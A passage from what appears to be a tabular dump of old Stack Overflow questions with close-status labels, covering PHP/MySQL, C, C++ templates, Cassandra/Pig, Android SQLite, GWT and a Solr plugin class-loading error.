void C(SmartPointer<test> p)
{
// p ref count is still 1 and will be destroyed at end of C
}
Thanks | 0 |
9,933,715 | 03/29/2012 21:20:22 | 1,293,881 | 03/26/2012 19:42:02 | 11 | 0 | I tried to use this php scipt to remove html tags from a table row (select data and update the row) | I tried to use this php scipt to remove html tags from a table row.
(select the data, strip_tags the string and update the row)
I would be more than thankful for help to find whats wrong.
The "select" is working and i can "echo" or "print" the result and the "strip_tags" is also working.
But, the data is not updated to the table row ? Somthing wrong with the "update" lines?
<?php
include_once ("classes/config.php");
$sql = "SELECT * FROM group_profile WHERE indexer = 4300741";
$query = mysql_query($sql);
$result = @mysql_fetch_array($query);
$group_name = $result['group_description'];
$group_description = strip_tags($group_description, '<p>');
$sql1 = "UPDATE group_profile SET group_name = $group_description WHERE indexer = 4300741";
mysql_query($sql1);
@mysql_close();
?> | php | mysql | null | null | null | null | open | I tried to use this php scipt to remove html tags from a table row (select data and update the row)
===
I tried to use this php scipt to remove html tags from a table row.
(select the data, strip_tags the string and update the row)
I would be more than thankful for help to find whats wrong.
The "select" is working and i can "echo" or "print" the result and the "strip_tags" is also working.
But, the data is not updated to the table row ? Somthing wrong with the "update" lines?
<?php
include_once ("classes/config.php");
$sql = "SELECT * FROM group_profile WHERE indexer = 4300741";
$query = mysql_query($sql);
$result = @mysql_fetch_array($query);
$group_name = $result['group_description'];
$group_description = strip_tags($group_description, '<p>');
$sql1 = "UPDATE group_profile SET group_name = $group_description WHERE indexer = 4300741";
mysql_query($sql1);
@mysql_close();
?> | 0 |
10,055,704 | 04/07/2012 15:25:34 | 1,319,227 | 04/07/2012 15:02:30 | 1 | 0 | Shaping a matrix in C language? | This is what I want it to be
= A B C D E
1 - - - - -
2 - - - - -
3 - - - - -
4 - - - - -
5 - - - - -
#include<stdio.h>
int main ()
{
FILE* room=NULL;
int i,j,k;
int n=0;
char r[100][100];
room=fopen("Room.txt","r");
if(room!=NULL)
{
for(i=0;i<9;i++)
for(j=0;j<6;j++)
fscanf(room,"%c",&r[i][j]);
printf(" ");
for(k=0;k<5;k++)
printf(" %c", A+k);
printf("\n");
for(i=0;i<9;i++)
{
if(i%2==0)
{
printf("%d", n+1);
n++;
}
for(j=0;j<6;j++)
{
printf("%c",r[i][j]);
}
}
printf("\n");
}
else
printf("ERROR!\nThe FILE room didn't open successfully!\n");
}
And this is what I get after many tries
= A B C D E
1 - - - - -
2- - - - -
-3 - - - -
- 4- - - -
- -5 - - - | matrix | null | null | null | null | 04/09/2012 07:55:52 | too localized | Shaping a matrix in C language?
===
This is what I want it to be
= A B C D E
1 - - - - -
2 - - - - -
3 - - - - -
4 - - - - -
5 - - - - -
#include<stdio.h>
int main ()
{
FILE* room=NULL;
int i,j,k;
int n=0;
char r[100][100];
room=fopen("Room.txt","r");
if(room!=NULL)
{
for(i=0;i<9;i++)
for(j=0;j<6;j++)
fscanf(room,"%c",&r[i][j]);
printf(" ");
for(k=0;k<5;k++)
printf(" %c", A+k);
printf("\n");
for(i=0;i<9;i++)
{
if(i%2==0)
{
printf("%d", n+1);
n++;
}
for(j=0;j<6;j++)
{
printf("%c",r[i][j]);
}
}
printf("\n");
}
else
printf("ERROR!\nThe FILE room didn't open successfully!\n");
}
And this is what I get after many tries
= A B C D E
1 - - - - -
2- - - - -
-3 - - - -
- 4- - - -
- -5 - - - | 3 |
7,178,892 | 08/24/2011 16:21:43 | 728,639 | 04/28/2011 06:00:34 | 1 | 0 | how to get the object count without instantiating any instance of the main class in c++? | Is it possible to count object without instantiating any instance of main class?
if possible then please explain how? | c++ | object | logic | null | null | 08/24/2011 16:29:35 | not a real question | how to get the object count without instantiating any instance of the main class in c++?
===
Is it possible to count object without instantiating any instance of main class?
if possible then please explain how? | 1 |
8,846,788 | 01/13/2012 06:30:44 | 356,011 | 06/02/2010 02:27:59 | 334 | 2 | Pig integrated with Cassandra: simple distributed query takes a few minutes to complete. Is this normal? | I set up a test integration of Cassandra + Pig/Hadoop. 8 nodes are Cassandra + TaskTracker nodes, 1 node is the JobTracker/NameNode.
I fired up the cassandra client and created a the simple bit of data listed in the Readme.txt in the Cassandra distribution:
[default@unknown] create keyspace Keyspace1;
[default@unknown] use Keyspace1;
[default@Keyspace1] create column family Users with comparator=UTF8Type and default_validation_class=UTF8Type and key_validation_class=UTF8Type;
[default@KS1] set Users[jsmith][first] = 'John';
[default@KS1] set Users[jsmith][last] = 'Smith';
[default@KS1] set Users[jsmith][age] = long(42)
Then I ran the sample pig query listed in CASSANDRA_HOME:
grunt> rows = LOAD 'cassandra://Keyspace1/Users' USING CassandraStorage() AS (key, columns: bag {T: tuple(name, value)});
grunt> cols = FOREACH rows GENERATE flatten(columns);
grunt> colnames = FOREACH cols GENERATE $0;
grunt> namegroups = GROUP colnames BY (chararray) $0;
grunt> namecounts = FOREACH namegroups GENERATE COUNT($1), group;
grunt> orderednames = ORDER namecounts BY $0;
grunt> topnames = LIMIT orderednames 50;
grunt> dump topnames;
It took about 3 minutes to complete.
HadoopVersion PigVersion UserId StartedAt FinishedAt Features
1.0.0 0.9.1 root 2012-01-12 22:16:53 2012-01-12 22:20:22 GROUP_BY,ORDER_BY,LIMIT
Success!
Job Stats (time in seconds):
JobId Maps Reduces MaxMapTime MinMapTIme AvgMapTime MaxReduceTime MinReduceTime AvgReduceTime Alias Feature Outputs
job_201201121817_0010 8 1 12 6 9 21 21 21 colnames,cols,namecounts,namegroups,rows GROUP_BY,COMBINER
job_201201121817_0011 1 1 6 6 6 15 15 15 orderednames SAMPLER
job_201201121817_0012 1 1 9 9 9 15 15 15 orderednames ORDER_BY,COMBINER hdfs://xxxx/tmp/temp-744158198/tmp-1598279340,
Input(s):
Successfully read 1 records (3232 bytes) from: "cassandra://Keyspace1/Users"
Output(s):
Successfully stored 3 records (63 bytes) in: "hdfs://xxxx/tmp/temp-744158198/tmp-1598279340"
Counters:
Total records written : 3
Total bytes written : 63
Spillable Memory Manager spill count : 0
Total bags proactively spilled: 0
Total records proactively spilled: 0
There were no errors or warnings in the logging.
Is this normal, or is there something wrong?
| hadoop | cassandra | pig | null | null | null | open | Pig integrated with Cassandra: simple distributed query takes a few minutes to complete. Is this normal?
===
I set up a test integration of Cassandra + Pig/Hadoop. 8 nodes are Cassandra + TaskTracker nodes, 1 node is the JobTracker/NameNode.
I fired up the cassandra client and created a the simple bit of data listed in the Readme.txt in the Cassandra distribution:
[default@unknown] create keyspace Keyspace1;
[default@unknown] use Keyspace1;
[default@Keyspace1] create column family Users with comparator=UTF8Type and default_validation_class=UTF8Type and key_validation_class=UTF8Type;
[default@KS1] set Users[jsmith][first] = 'John';
[default@KS1] set Users[jsmith][last] = 'Smith';
[default@KS1] set Users[jsmith][age] = long(42)
Then I ran the sample pig query listed in CASSANDRA_HOME:
grunt> rows = LOAD 'cassandra://Keyspace1/Users' USING CassandraStorage() AS (key, columns: bag {T: tuple(name, value)});
grunt> cols = FOREACH rows GENERATE flatten(columns);
grunt> colnames = FOREACH cols GENERATE $0;
grunt> namegroups = GROUP colnames BY (chararray) $0;
grunt> namecounts = FOREACH namegroups GENERATE COUNT($1), group;
grunt> orderednames = ORDER namecounts BY $0;
grunt> topnames = LIMIT orderednames 50;
grunt> dump topnames;
It took about 3 minutes to complete.
HadoopVersion PigVersion UserId StartedAt FinishedAt Features
1.0.0 0.9.1 root 2012-01-12 22:16:53 2012-01-12 22:20:22 GROUP_BY,ORDER_BY,LIMIT
Success!
Job Stats (time in seconds):
JobId Maps Reduces MaxMapTime MinMapTIme AvgMapTime MaxReduceTime MinReduceTime AvgReduceTime Alias Feature Outputs
job_201201121817_0010 8 1 12 6 9 21 21 21 colnames,cols,namecounts,namegroups,rows GROUP_BY,COMBINER
job_201201121817_0011 1 1 6 6 6 15 15 15 orderednames SAMPLER
job_201201121817_0012 1 1 9 9 9 15 15 15 orderednames ORDER_BY,COMBINER hdfs://xxxx/tmp/temp-744158198/tmp-1598279340,
Input(s):
Successfully read 1 records (3232 bytes) from: "cassandra://Keyspace1/Users"
Output(s):
Successfully stored 3 records (63 bytes) in: "hdfs://xxxx/tmp/temp-744158198/tmp-1598279340"
Counters:
Total records written : 3
Total bytes written : 63
Spillable Memory Manager spill count : 0
Total bags proactively spilled: 0
Total records proactively spilled: 0
There were no errors or warnings in the logging.
Is this normal, or is there something wrong?
| 0 |
4,062,465 | 10/31/2010 09:00:13 | 276,766 | 02/19/2010 07:20:45 | 47 | 0 | template question, C++ | Here a code;
template <typename T>
class String
{
public:
...
String(T* initStr)
{
size_t initStrLen;
if (initStr != NULL)
{
printf_s("%s\n", typeid(T) == typeid(char) ? "char" : "wchar_t");
if (typeid(T) == typeid(char))
{
strlen((T*)initStr);
}
else if (typeid(T) == typeid(wchar_t))
{
wcslen((T*)initStr);
}
}
}
...
};
The compiler said, that:
...\main.cpp(32) : error C2664: 'strlen' : cannot convert parameter 1 from 'wchar_t *' to 'const char *'
Then i tried to use a function pointer:
typedef size_t (*STRLEN)(void*);
STRLEN _strlen;
_strlen = reinterpret_cast<STRLEN> (typeid(*initStr) == typeid(char) ? strlen : wcslen);
and again compiler said, that:
...\main.cpp(28) : error C2446: ':' : no conversion from 'size_t (__cdecl *)(const wchar_t *)' to 'size_t (__cdecl *)(const char *)'
Now question: how can I use functions `strlen` and `wcslen` with templates?
P.S. Sorry for poor English. | c++ | templates | null | null | null | null | open | template question, C++
===
Here a code;
template <typename T>
class String
{
public:
...
String(T* initStr)
{
size_t initStrLen;
if (initStr != NULL)
{
printf_s("%s\n", typeid(T) == typeid(char) ? "char" : "wchar_t");
if (typeid(T) == typeid(char))
{
strlen((T*)initStr);
}
else if (typeid(T) == typeid(wchar_t))
{
wcslen((T*)initStr);
}
}
}
...
};
The compiler said, that:
...\main.cpp(32) : error C2664: 'strlen' : cannot convert parameter 1 from 'wchar_t *' to 'const char *'
Then i tried to use a function pointer:
typedef size_t (*STRLEN)(void*);
STRLEN _strlen;
_strlen = reinterpret_cast<STRLEN> (typeid(*initStr) == typeid(char) ? strlen : wcslen);
and again compiler said, that:
...\main.cpp(28) : error C2446: ':' : no conversion from 'size_t (__cdecl *)(const wchar_t *)' to 'size_t (__cdecl *)(const char *)'
Now question: how can I use functions `strlen` and `wcslen` with templates?
P.S. Sorry for poor English. | 0 |
4,049,720 | 10/29/2010 07:09:55 | 421,935 | 08/16/2010 16:09:24 | 58 | 1 | GET the number of subscribers to any RSS/Atom feed? | Any simple code snipped to GET the number of subscribers to any feed URL?
Thanks! | rss | feeds | atom | null | null | null | open | GET the number of subscribers to any RSS/Atom feed?
===
Any simple code snipped to GET the number of subscribers to any feed URL?
Thanks! | 0 |
8,084,688 | 11/10/2011 18:45:25 | 449,070 | 07/06/2010 04:55:58 | 140 | 1 | Is it possible to fix a corrupted Android SQLite database file? | In my app, I create a database file that contains multiple tables (let's say 3 tables). An app user emailed me his database file (I save the file to the SD card) after he began experiencing an app crash after updating to the current version of the app. My update did not involve any database changes, it provided support for app-2-SD card functionality, which the user said he used. I'm positive that my code for saving to the SD card works (it's over a year old), but if you'd like more background information, see my other post: http://stackoverflow.com/questions/8075807/android-database-file-corruption.
When I open this user's .db file using SQLite Browser, nothing is shown. No tables, no data, etc... When I open the file using a text editor, I can see all of his data. With that being the case, is there a way to "fix" this file somehow?
The crash occurs when the user attempts to open table #1. Simply trying to open the table causes the exception down below. The user tells me that he is able to successfully interact with the app in the areas that access tables #2 and #3. I know he could just delete the files to get past the crash, but then all data is lost, so I'd like to repair it if possible.
...
11-09 22:32:04.275: SELECT locale FROM android_metadata failed
11-09 22:32:04.275: Failed to setLocale() when constructing. closing the database.
11-09 22:32:04.275: ERROR/AndroidRuntime(757): Caused by: android.database.sqlite.SQLiteException: file is encrypted or is not a database
11-09 22:32:04.275: ERROR/AndroidRuntime(757): at android.database.sqlite.SQLiteDatabase.native_setLocale(Native Method)
11-09 22:32:04.275: ERROR/AndroidRuntime(757): at android.database.sqlite.SQLiteDatabase.setLocale(SQLiteDatabase.java:1636)
11-09 22:32:04.275: ERROR/AndroidRuntime(757): at android.database.sqlite.SQLiteDatabase.<init>(SQLiteDatabase.java:1586)
11-09 22:32:04.275: ERROR/AndroidRuntime(757): at android.database.sqlite.SQLiteDatabase.openDatabase(SQLiteDatabase.java:638)
11-09 22:32:04.275: ERROR/AndroidRuntime(757): at android.database.sqlite.SQLiteOpenHelper.getReadableDatabase(SQLiteOpenHelper.java:168)
I'm wondering if there is a tool or some guide that I can follow that will help me to fix this particular SQLite file. Thanks. | android | database | sqlite | null | null | null | open | Is it possible to fix a corrupted Android SQLite database file?
===
In my app, I create a database file that contains multiple tables (let's say 3 tables). An app user emailed me his database file (I save the file to the SD card) after he began experiencing an app crash after updating to the current version of the app. My update did not involve any database changes, it provided support for app-2-SD card functionality, which the user said he used. I'm positive that my code for saving to the SD card works (it's over a year old), but if you'd like more background information, see my other post: http://stackoverflow.com/questions/8075807/android-database-file-corruption.
When I open this user's .db file using SQLite Browser, nothing is shown. No tables, no data, etc... When I open the file using a text editor, I can see all of his data. With that being the case, is there a way to "fix" this file somehow?
The crash occurs when the user attempts to open table #1. Simply trying to open the table causes the exception down below. The user tells me that he is able to successfully interact with the app in the areas that access tables #2 and #3. I know he could just delete the files to get past the crash, but then all data is lost, so I'd like to repair it if possible.
...
11-09 22:32:04.275: SELECT locale FROM android_metadata failed
11-09 22:32:04.275: Failed to setLocale() when constructing. closing the database.
11-09 22:32:04.275: ERROR/AndroidRuntime(757): Caused by: android.database.sqlite.SQLiteException: file is encrypted or is not a database
11-09 22:32:04.275: ERROR/AndroidRuntime(757): at android.database.sqlite.SQLiteDatabase.native_setLocale(Native Method)
11-09 22:32:04.275: ERROR/AndroidRuntime(757): at android.database.sqlite.SQLiteDatabase.setLocale(SQLiteDatabase.java:1636)
11-09 22:32:04.275: ERROR/AndroidRuntime(757): at android.database.sqlite.SQLiteDatabase.<init>(SQLiteDatabase.java:1586)
11-09 22:32:04.275: ERROR/AndroidRuntime(757): at android.database.sqlite.SQLiteDatabase.openDatabase(SQLiteDatabase.java:638)
11-09 22:32:04.275: ERROR/AndroidRuntime(757): at android.database.sqlite.SQLiteOpenHelper.getReadableDatabase(SQLiteOpenHelper.java:168)
I'm wondering if there is a tool or some guide that I can follow that will help me to fix this particular SQLite file. Thanks. | 0 |
11,338,725 | 07/05/2012 06:17:20 | 1,463,196 | 06/18/2012 09:02:40 | -5 | 0 | How to store the .html file in the android's local database. the html file is coming from the ftp | Can i store the html file coming from the ftp in to local database of android.
and i want to open that html file in to webview in android .
is there any example please send me. | android | html | database | ftp | store | 07/06/2012 15:37:25 | not a real question | How to store the .html file in the android's local database. the html file is coming from the ftp
===
Can i store the html file coming from the ftp in to local database of android.
and i want to open that html file in to webview in android .
is there any example please send me. | 1 |
7,475,143 | 09/19/2011 17:53:06 | 215,881 | 11/20/2009 23:32:23 | 76 | 7 | Getting dimensions of videos selected by UIImagePickerController | Is there some way to retrieve the dimensions of a video selected by UIImagePickerController? Or of one displayed using MPMoviePlayerViewController?
Videos recorded on the device may be portrait or landscape. Videos imported to the Photo Library via iTunes may be of arbitrary dimensions.
I have tried querying the dictionary passed to didFinishPickingMediaWithInfo: with the keyword UIImagePickerControllerCropRect, but I always get a CGRect of { 0,0 }, { 0.85, 0 }.
Knowing the dimensions (or simply orientation) of the video would greatly help in presenting it optimally, without requiring the user to tilt the device.
I have a horrible hack in place that involves screen-capture of the UIImagePickerController view when selection is made, then testing for non-black pixels to guess the boundaries of the preview image. But this won't work if the preview frame is itself all or partly black. | iphone | uiimagepickercontroller | null | null | null | null | open | Getting dimensions of videos selected by UIImagePickerController
===
Is there some way to retrieve the dimensions of a video selected by UIImagePickerController? Or of one displayed using MPMoviePlayerViewController?
Videos recorded on the device may be portrait or landscape. Videos imported to the Photo Library via iTunes may be of arbitrary dimensions.
I have tried querying the dictionary passed to didFinishPickingMediaWithInfo: with the keyword UIImagePickerControllerCropRect, but I always get a CGRect of { 0,0 }, { 0.85, 0 }.
Knowing the dimensions (or simply orientation) of the video would greatly help in presenting it optimally, without requiring the user to tilt the device.
I have a horrible hack in place that involves screen-capture of the UIImagePickerController view when selection is made, then testing for non-black pixels to guess the boundaries of the preview image. But this won't work if the preview frame is itself all or partly black. | 0 |
7,104,712 | 08/18/2011 08:50:10 | 777,237 | 05/31/2011 07:20:31 | 1 | 0 | Create Embed javascipt for my form to use in other sites | I want to create an embed javascript code for my form, so that can be easily be used by other sites just by embedding that in their sites.
I am not clear with this approach, how to handle this.
Any kind of help will be appreciated. | php | null | null | null | null | null | open | Create Embed javascipt for my form to use in other sites
===
I want to create an embed javascript code for my form, so that can be easily be used by other sites just by embedding that in their sites.
I am not clear with this approach, how to handle this.
Any kind of help will be appreciated. | 0 |
6,764,731 | 07/20/2011 15:49:07 | 189,122 | 10/13/2009 13:28:39 | 591 | 57 | Faking a textarea with scrollbar and updating content | since I can not markup content inside <textarea> tags I want to create my own "custom" textbox.
The textbox should work as a kind of console, where the progress of battle (i.e.) is logged.
I first tried to use a div, within a div, within divs for each log, but when the divs inside the outer divs exceed the max-height, they ignore the surrounding divs.
Example: http://imagr.eu/up/4e26f79d6000e3_div-overlap.png
Even if this would work I still got the problem, that there is no scrollbar, since it's not a <textarea>.
I googled a lot, but the only thing I found where overwhelming tutorials for dynamic feedreaders etc.
What I am looking for is a simple "textbox" aka "console" with scrollbar which contents do respect the borders of that console.
Accomplished with jQuery.
Thank you very much! | jquery | html | css | div-layouts | null | null | open | Faking a textarea with scrollbar and updating content
===
since I can not markup content inside <textarea> tags I want to create my own "custom" textbox.
The textbox should work as a kind of console, where the progress of battle (i.e.) is logged.
I first tried to use a div, within a div, within divs for each log, but when the divs inside the outer divs exceed the max-height, they ignore the surrounding divs.
Example: http://imagr.eu/up/4e26f79d6000e3_div-overlap.png
Even if this would work I still got the problem, that there is no scrollbar, since it's not a <textarea>.
I googled a lot, but the only thing I found where overwhelming tutorials for dynamic feedreaders etc.
What I am looking for is a simple "textbox" aka "console" with scrollbar which contents do respect the borders of that console.
Accomplished with jQuery.
Thank you very much! | 0 |
5,378,966 | 03/21/2011 14:24:36 | 639,609 | 03/01/2011 15:36:01 | 82 | 0 | large string data parsing causing high-cpu usage | My application need to parse some large string data. Which means I am heavily using Split, IndexOf and SubString method of string class. I am trying to use StringBuilder class whereever I have to do any concatenation. However when application is doing this parsing, app cpu usage goes high (60-70%). I am guessing that calling these string APIs is what's causing cpu usage to go high, speically the size of data is big (typical Length of string is 400K). Any ideas how can I verify what is causing cpu usage to go that high and also if there are any suggestion on how to bring cpu usage down? | c# | string | null | null | null | null | open | large string data parsing causing high-cpu usage
===
My application need to parse some large string data. Which means I am heavily using Split, IndexOf and SubString method of string class. I am trying to use StringBuilder class whereever I have to do any concatenation. However when application is doing this parsing, app cpu usage goes high (60-70%). I am guessing that calling these string APIs is what's causing cpu usage to go high, speically the size of data is big (typical Length of string is 400K). Any ideas how can I verify what is causing cpu usage to go that high and also if there are any suggestion on how to bring cpu usage down? | 0 |
11,074,409 | 06/17/2012 20:07:35 | 1,462,195 | 06/17/2012 18:09:06 | 15 | 0 | Mage+ - Are there any examples of product sites using Mage+ | Are there any live sites out there using Mage+ yet?
Im like the idea of the project but am a bit wary of using it in a product environment, and i suspect more people will feel the same.
Therefore, it would be good to know of any examples of sites actively using it.
| magento | null | null | null | null | 06/18/2012 16:55:25 | off topic | Mage+ - Are there any examples of product sites using Mage+
===
Are there any live sites out there using Mage+ yet?
Im like the idea of the project but am a bit wary of using it in a product environment, and i suspect more people will feel the same.
Therefore, it would be good to know of any examples of sites actively using it.
| 2 |
1,709,054 | 11/10/2009 16:03:57 | 202,421 | 11/04/2009 07:51:53 | 1 | 0 | what are the algorithms to use for recognizing objects? | Using Artificial intelligence, what should be the algorithms for recognizing objects??
can Neuural network recognize objects?? | c# | null | null | null | null | 11/10/2009 16:15:26 | not a real question | what are the algorithms to use for recognizing objects?
===
Using Artificial intelligence, what should be the algorithms for recognizing objects??
can Neuural network recognize objects?? | 1 |
10,014,319 | 04/04/2012 15:28:58 | 1,073,443 | 11/30/2011 13:33:44 | 35 | 3 | code after Gwt rpc AsyncCallbak will not be executed? | I can't understand why the code after the gwt rpc AsyncCallback will not be executed?
for example I have the interface AppService extends RemoteService, So I'll have AsyncAppService which does the async call.
the following code
AppServiceAsync service = GWT.create (AppService.class);
service.getCurrentUser(new AsyncCallback<Employee>(){
public void onFailure(Throwable caught) {
}
public void onSuccess(Employee result) {
currentUser = result;
}
});
// if i have the code after the above call, these code will not be execute, what is the problem
Thanks for your explaination
| gwt | rpc | null | null | null | null | open | code after Gwt rpc AsyncCallbak will not be executed?
===
I can't understand why the code after the gwt rpc AsyncCallback will not be executed?
for example I have the interface AppService extends RemoteService, So I'll have AsyncAppService which does the async call.
the following code
AppServiceAsync service = GWT.create (AppService.class);
service.getCurrentUser(new AsyncCallback<Employee>(){
public void onFailure(Throwable caught) {
}
public void onSuccess(Employee result) {
currentUser = result;
}
});
// if i have the code after the above call, these code will not be execute, what is the problem
Thanks for your explaination
| 0 |
11,238,786 | 06/28/2012 05:55:36 | 1,487,587 | 06/28/2012 05:49:28 | 1 | 0 | Please share the ideas about how to read Metadata of SharePoint workflows | Please share the ideas about how to read Metadata of SharePoint workflows (Predefined workflows)
using web services provided by Microsoft...
Thanks | c# | web-services | sharepoint | workflow | null | 06/28/2012 15:28:58 | not a real question | Please share the ideas about how to read Metadata of SharePoint workflows
===
Please share the ideas about how to read Metadata of SharePoint workflows (Predefined workflows)
using web services provided by Microsoft...
Thanks | 1 |
3,344,003 | 07/27/2010 13:18:20 | 395,703 | 07/19/2010 10:05:40 | 79 | 18 | JAVA or .NET which is more secure? | To make a secure website which language is more preferable .NET, JAVA or others and why? | java | .net | security | null | null | 07/27/2010 13:21:15 | not constructive | JAVA or .NET which is more secure?
===
To make a secure website which language is more preferable .NET, JAVA or others and why? | 4 |
8,586,996 | 12/21/2011 08:38:13 | 531,994 | 12/06/2010 08:41:31 | 646 | 34 | zend_call_method_with_N_params | There are `zend_call_method_with_0_params`, `zend_call_method_with_1_params` and `zend_call_method_with_2_params` in PHP extension development.
But how to call method with more then 2 params? | php | c | php-extension | zend-framework | null | null | open | zend_call_method_with_N_params
===
There are `zend_call_method_with_0_params`, `zend_call_method_with_1_params` and `zend_call_method_with_2_params` in PHP extension development.
But how to call method with more then 2 params? | 0 |
418,612 | 01/06/2009 23:27:46 | 7,734 | 09/15/2008 14:19:11 | 2,662 | 154 | What calculator is an aid to you as a programmer? | I have decided to break down, and buy a calculator to use at work. One that I can hold in my hand. The features I want involve HEX/OCT/DEC/BIN conversion, and the basic statistical functions and solar/battery power.
I am primarily a CRUD programmer, I also do a little statistics work from time to time.
The question is three fold.
What other calculator features are of benefit to you at your job?
What calculator would you recommend?
What factors am I overlooking?
| calculator | null | null | null | null | 01/07/2009 15:47:27 | off topic | What calculator is an aid to you as a programmer?
===
I have decided to break down, and buy a calculator to use at work. One that I can hold in my hand. The features I want involve HEX/OCT/DEC/BIN conversion, and the basic statistical functions and solar/battery power.
I am primarily a CRUD programmer, I also do a little statistics work from time to time.
The question is three fold.
What other calculator features are of benefit to you at your job?
What calculator would you recommend?
What factors am I overlooking?
| 2 |
11,744,752 | 07/31/2012 16:25:29 | 1,539,197 | 07/19/2012 21:36:01 | 1 | 0 | solr error loading manifoldcf search component in authority-example.jar | I'm using solr 4.0 alpha with manifoldcf .5.1 and I downloaded and built the authority-example.jar and placed in example/solr/lib and added the appropriate lines to solrconfig.xml.
I noticed that the authority-example.jar was built with solr v3.2 jars is this compatible with solr4.0?
Can I rebuild the jar if I swap out all the old jars with the new ones?
How do I fix this? Please advise...
The error is:
SEVERE: null:org.apache.solr.common.SolrException: Error loading class 'org.apac
he.solr.mcf.ManifoldCFSearchComponent'
at org.apache.solr.core.SolrResourceLoader.findClass(SolrResourceLoader.
java:415)
at org.apache.solr.core.SolrCore.createInstance(SolrCore.java:420)
at org.apache.solr.core.SolrCore.createInitInstance(SolrCore.java:463)
at org.apache.solr.core.SolrCore.initPlugins(SolrCore.java:1824)
at org.apache.solr.core.SolrCore.initPlugins(SolrCore.java:1818)
at org.apache.solr.core.SolrCore.initPlugins(SolrCore.java:1851)
at org.apache.solr.core.SolrCore.loadSearchComponents(SolrCore.java:906)
at org.apache.solr.core.SolrCore.<init>(SolrCore.java:572)
at org.apache.solr.core.SolrCore.<init>(SolrCore.java:504)
at org.apache.solr.core.CoreContainer.create(CoreContainer.java:816)
at org.apache.solr.core.CoreContainer.load(CoreContainer.java:510)
at org.apache.solr.core.CoreContainer.load(CoreContainer.java:333)
at org.apache.solr.core.CoreContainer$Initializer.initialize(CoreContain
er.java:282)
at org.apache.solr.servlet.SolrDispatchFilter.init(SolrDispatchFilter.ja
va:101)
at org.eclipse.jetty.servlet.FilterHolder.doStart(FilterHolder.java:114)
at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLife
Cycle.java:59)
at org.eclipse.jetty.servlet.ServletHandler.initialize(ServletHandler.ja
va:754)
at org.eclipse.jetty.servlet.ServletContextHandler.startContext(ServletC
ontextHandler.java:258)
at org.eclipse.jetty.webapp.WebAppContext.startContext(WebAppContext.jav
a:1221)
at org.eclipse.jetty.server.handler.ContextHandler.doStart(ContextHandle
r.java:699)
at org.eclipse.jetty.webapp.WebAppContext.doStart(WebAppContext.java:454
)
at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLife
Cycle.java:59)
at org.eclipse.jetty.deploy.bindings.StandardStarter.processBinding(Stan
dardStarter.java:36)
at org.eclipse.jetty.deploy.AppLifeCycle.runBindings(AppLifeCycle.java:1
83)
at org.eclipse.jetty.deploy.DeploymentManager.requestAppGoal(DeploymentM
anager.java:491)
at org.eclipse.jetty.deploy.DeploymentManager.addApp(DeploymentManager.j
ava:138)
at org.eclipse.jetty.deploy.providers.ScanningAppProvider.fileAdded(Scan
ningAppProvider.java:142)
at org.eclipse.jetty.deploy.providers.ScanningAppProvider$1.fileAdded(Sc
anningAppProvider.java:53)
at org.eclipse.jetty.util.Scanner.reportAddition(Scanner.java:604)
at org.eclipse.jetty.util.Scanner.reportDifferences(Scanner.java:535)
at org.eclipse.jetty.util.Scanner.scan(Scanner.java:398)
at org.eclipse.jetty.util.Scanner.doStart(Scanner.java:332)
at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLife
Cycle.java:59)
at org.eclipse.jetty.deploy.providers.ScanningAppProvider.doStart(Scanni
ngAppProvider.java:118)
at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLife
Cycle.java:59)
at org.eclipse.jetty.deploy.DeploymentManager.startAppProvider(Deploymen
tManager.java:552)
at org.eclipse.jetty.deploy.DeploymentManager.doStart(DeploymentManager.
java:227)
at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLife
Cycle.java:59)
at org.eclipse.jetty.util.component.AggregateLifeCycle.doStart(Aggregate
LifeCycle.java:63)
at org.eclipse.jetty.server.handler.AbstractHandler.doStart(AbstractHand
ler.java:53)
at org.eclipse.jetty.server.handler.HandlerWrapper.doStart(HandlerWrappe
r.java:91)
at org.eclipse.jetty.server.Server.doStart(Server.java:263)
at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLife
Cycle.java:59)
at org.eclipse.jetty.xml.XmlConfiguration$1.run(XmlConfiguration.java:12
15)
at java.security.AccessController.doPrivileged(Native Method)
at org.eclipse.jetty.xml.XmlConfiguration.main(XmlConfiguration.java:113
8)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
at java.lang.reflect.Method.invoke(Unknown Source)
at org.eclipse.jetty.start.Main.invokeMain(Main.java:457)
at org.eclipse.jetty.start.Main.start(Main.java:602)
at org.eclipse.jetty.start.Main.main(Main.java:82)
Caused by: java.lang.ClassNotFoundException: org.apache.solr.mcf.ManifoldCFSearc
hComponent
at java.net.URLClassLoader$1.run(Unknown Source)
at java.net.URLClassLoader$1.run(Unknown Source)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(Unknown Source)
at java.lang.ClassLoader.loadClass(Unknown Source)
at java.net.FactoryURLClassLoader.loadClass(Unknown Source)
at java.lang.ClassLoader.loadClass(Unknown Source)
at java.lang.Class.forName0(Native Method)
at java.lang.Class.forName(Unknown Source)
at org.apache.solr.core.SolrResourceLoader.findClass(SolrResourceLoader.
java:399)
... 52 more
| solr | jetty | null | null | null | null | open | solr error loading manifoldcf search component in authority-example.jar
===
I'm using solr 4.0 alpha with manifoldcf .5.1 and I downloaded and built the authority-example.jar and placed in example/solr/lib and added the appropriate lines to solrconfig.xml.
I noticed that the authority-example.jar was built with solr v3.2 jars is this compatible with solr4.0?
Can I rebuild the jar if I swap out all the old jars with the new ones?
How do I fix this? Please advise...
The error is:
SEVERE: null:org.apache.solr.common.SolrException: Error loading class 'org.apac
he.solr.mcf.ManifoldCFSearchComponent'
at org.apache.solr.core.SolrResourceLoader.findClass(SolrResourceLoader.
java:415)
at org.apache.solr.core.SolrCore.createInstance(SolrCore.java:420)
at org.apache.solr.core.SolrCore.createInitInstance(SolrCore.java:463)
at org.apache.solr.core.SolrCore.initPlugins(SolrCore.java:1824)
at org.apache.solr.core.SolrCore.initPlugins(SolrCore.java:1818)
at org.apache.solr.core.SolrCore.initPlugins(SolrCore.java:1851)
at org.apache.solr.core.SolrCore.loadSearchComponents(SolrCore.java:906)
at org.apache.solr.core.SolrCore.<init>(SolrCore.java:572)
at org.apache.solr.core.SolrCore.<init>(SolrCore.java:504)
